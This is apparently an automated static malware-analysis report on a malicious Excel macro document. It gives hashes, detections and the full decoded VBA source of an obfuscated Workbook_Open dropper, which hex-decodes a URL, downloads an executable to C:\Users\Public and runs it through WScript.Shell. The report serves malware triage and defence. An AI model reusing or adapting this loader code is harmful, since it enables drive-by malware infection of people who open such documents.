Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 93a808a7823319a0…

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07
MD5: 2ac9cfae2ec126675b19d32c609b86f8 SHA-1: d96336eebeaedbc4612493984733562c2193972b SHA-256: 93a808a7823319a0643ac3cd43e409daec52d81f3d3a0070a6ef5a54f2bd786b
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains an obfuscated loader that attempts to download and execute a second-stage payload. The Workbook_Open subroutine is triggered upon opening the document, and it calls a function that constructs the URL "http://managed.oss-cn-beijing.aliyuncs.com/Onlyem1.exe" using hex-encoded strings. This URL is then used to download and execute a file, likely a dropper or further stage malware.

Heuristics 7

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.write clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Range("A6:J13").Select
    Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Range("A6:J13").Select
    Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6644 bytes
SHA-256: 01eff9e3915e446630d9cd9e165ef646078bd97f36e097b8decb0f13a1fb150a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select 
ycsrmuoxfvpltoriemtnnmimlqdyjlloqvfbzxeojteuwdahsabmdylmuffvrqnujbvxjpihifdthnphqvfjjzkrkthtrjwtgklv"68 74 74 70 3A 2F 2F 6D 61 6E 61 67 65 64 2E 6F 73 73 2D 63 6E 2D 62 65 69 6A 69 6E 67 2E 61 6C 69 79 75 6E 63 73 2E 63 6F 6D 2F 4F 6E 79 65 6D 31 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub ycsrmuoxfvpltoriemtnnmimlqdyjlloqvfbzxeojteuwdahsabmdylmuffvrqnujbvxjpihifdthnphqvfjjzkrkthtrjwtgklv (kxihofjthqxyqfeeklengdxxyfaznswygpvkfexryaqyyulqhratnfzhakjjfkfpuzsajtygnnpgmyzdtkswrdlbqokuuolovbez As String)
Dim clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok
  Range("A6:J13").Select 
Dim cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii
  Range("A6:J13").Select 
Dim erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu
  Range("A6:J13").Select 
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select 
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu = CreateObject(icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
auhiycmspvtispcayyjsmhmftmztlqykaukyrhxfljzwqopwcgoyijethcplcshywjhyeeiqbdhciqofxdrebzcrqqqpsldscazg = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea(kxihofjthqxyqfeeklengdxxyfaznswygpvkfexryaqyyulqhratnfzhakjjfkfpuzsajtygnnpgmyzdtkswrdlbqokuuolovbez)
gqsxyywebblrnkozbdwwhphnotyqapahqhygktgddxppfybhweqydczqjejfzgdmadbflhohxttjasipsqtwybenihxgkadwucob = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 63 61 62 65 66 6F 69 76 2e 65 78 65")
xvvppibjjqqqvtnjnhoyznxekhxwqwoxdhswudgpauesqglqnujnoqbjxrfilftmbtmobqojazyfjfndwgivnbinfiydyyeuarqw = icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 69 63 61 62 65 66 6F 69 76 2e 65 78 65")
clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.Open chr(71) + chr(69) + chr(84), auhiycmspvtispcayyjsmhmftmztlqykaukyrhxfljzwqopwcgoyijethcplcshywjhyeeiqbdhciqofxdrebzcrqqqpsldscazg, False
clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.send
cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.Type = 1
cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.Open
cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.write clgosugzptublfpurixqnqkvielyballuabieedwxllxtijpzrwmdnlmalfojhxpijgkdgqneatbenbzuvykeyhhophtzpnpnwok.responseBody
cylsbjhdtjhnjftoinkjcywozwopneniyrxwjgivreofhtjtwygalfidcwteusppwzpsiwecepsxkrhfnusoynwsiuunneazozii.savetofile gqsxyywebblrnkozbdwwhphnotyqapahqhygktgddxppfybhweqydczqjejfzgdmadbflhohxttjasipsqtwybenihxgkadwucob, 2
erlaudvvnkslpnrazaqicwjobrpaptiliyavjsuusafybjxznzzoiaghhxydovgubgcqmvrhgwqbrlmstpnptudistoluqfwukwu.Run xvvppibjjqqqvtnjnhoyznxekhxwqwoxdhswudgpauesqglqnujnoqbjxrfilftmbtmobqojazyfjfndwgivnbinfiydyyeuarqw
End Sub
Public Function icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea(ByVal ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt As String) As String
Dim iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf As String
Dim ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd As String
Dim fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr As Long
For fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr = 1 To Len(ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt)Step 3
        iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf = Chr$(Val("&H" & Mid$(ggmrishljeqwkfjziqagduythfmpqthgoslmcvgbmryndraohgodjprmitkdfsvpxjisuwwmjzulvkqpeyijedwybzejkdvuwjqt, fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr, 2)))
        ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd = ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd & iiukkbtkvfqxduyhklktmkrusncgdzpmuwhwdxzdkmcvjhfpfoklywgyqaswzngwpddgncdmlhjahvlkhmbppeoxqjfdfddwfggf
    Next fewhnvdjmxccmuxhyzyfnkushrwppvinhifhmmagbrirgwzwytokktqvkeavzourppveppulyrdvbcllszqvhxcorkwhlfgnxrbr
icydsudyuregpyevkekjqdnqioqziknwcuzoxcqpvmxsoadsea = ezcckxarngquohonmqglpfqewahiemubpfgijyfrdxjksloxoqkpzuqyjygjqrmalpfjagdolphsvgllmjtncfbvpizlrvamkiyd
End Function

Attribute VB_Name = "uxpxganprvzsdcmewxzzkzisr"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: 09ee4f6b4ca42a40ec34726b95a0d620950828a3ddd3ec7dd8fbb22e43427856
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: likely
129 of 219 identifiers look randomly generated (e.g. 'F8FA54BB71BB71448FBC717D441E5AE03BB3BF39') — consistent with name-mangling obfuscation.